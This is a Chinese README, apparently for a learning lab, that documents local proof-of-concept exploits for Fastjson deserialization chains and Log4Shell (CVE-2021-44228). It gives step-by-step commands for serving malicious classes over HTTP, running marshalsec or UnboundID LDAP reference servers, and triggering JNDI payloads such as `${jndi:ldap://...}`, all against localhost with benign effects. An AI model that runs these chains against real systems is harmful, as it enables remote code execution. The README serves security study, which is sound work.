本仓库用于本地调试和学习常见的 Java 反序列化 / JNDI 相关漏洞 PoC。
目前包含两类实验工程:
fastjson-vul:Fastjson 反序列化链本地 PoC(JdbcRowSetImpl + JNDI、TemplatesImpl 等)apache-log4j-poc(暂存于本地路径,仅代码示例):Log4j2 JNDI RCE(CVE-2021-44228)本地 PoC
仅供安全学习与自测使用,严禁在未授权环境中利用。
-
fastjson-vul/
Maven 工程,演示多条 Fastjson 利用链(默认 fastjson 1.2.47,可通过 Maven Profile 切换至 1.2.24 等版本)。关键 PoC(示例):
src/main/java/com/nk7/demo/PocJdbc124.java
使用@type":"com.sun.rowset.JdbcRowSetImpl"+ JNDI(LDAP/RMI)触发JdbcRowSetImpl.connect()中的InitialContext.lookup,配合exploit/TouchFile.java写标记文件。src/main/java/com/nk7/demo/templates/TemplatesPoc124.java
使用TemplatesImpl+_bytecodes链,通过 Javassist 生成恶意字节码并在类初始化中执行。
-
apache-log4j-poc/
演示 Log4j2 2.14.1 中${jndi:ldap://...}触发的 JNDI RCE:Log4J.java:logger.error("${jndi:ldap://127.0.0.1:7912/test}")为入口。LDAPRefServer.java:使用 UnboundID 起恶意 LDAP,返回带javaCodeBase/javaFactory=Exploit的引用,指向 HTTP 上的Exploit.class。Exploit.java:在static {}中调用Runtime.getRuntime().exec("calc")作为 RCE 效果演示。
- JDK 8(推荐与实验中使用的一致,例如
jdk1.8.0_102) - Maven 3.x
- Python 3(用于快速起 HTTP 靶服:
python -m http.server <port>)
-
在
fastjson-vul根目录编译:mvn -q -Pfv-124 compile
-
进入 vulhub
exploit目录(示例,实际路径视本地情况而定),起 HTTP / LDAP 服务,提供TouchFile.class:- HTTP:
python -m http.server 8001 - LDAP(marshalsec):
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8001/#TouchFile" 1389
- HTTP:
-
使用 JDK8 运行
PocJdbc124,构造 JSON payload 并触发 Fastjson 反序列化:java -cp "target/classes;[依赖CP]" com.nk7.demo.PocJdbc124 -
在系统临时目录(例如 Windows 下
%TEMP%)检查fastjson-jndi-poc.txt是否生成,以确认TouchFile的static {}是否执行。
-
在
apache-log4j-poc/src/main/java起 HTTP 服务提供Exploit.class:python -m http.server 80
-
在 IDEA 或命令行中运行
LDAPRefServer,监听7912端口,并将 JNDI 引用指向http://127.0.0.1:80/#Exploit。 -
运行
Log4J.main,触发:logger.error("${jndi:ldap://127.0.0.1:7912/test}");
-
观察本机是否弹出计算器(或其它 Exploit 副作用),以及 LDAP 控制台是否打印:
Send LDAP reference result for test redirecting to http://127.0.0.1:80/Exploit.class
- 务必仅在本地、隔离环境中运行本仓库示例代码。
- 不要将这些 PoC 部署到生产环境或未授权的网络中。
- 推送到 GitHub 前,请确认不包含任何真实业务代码、密钥或敏感信息。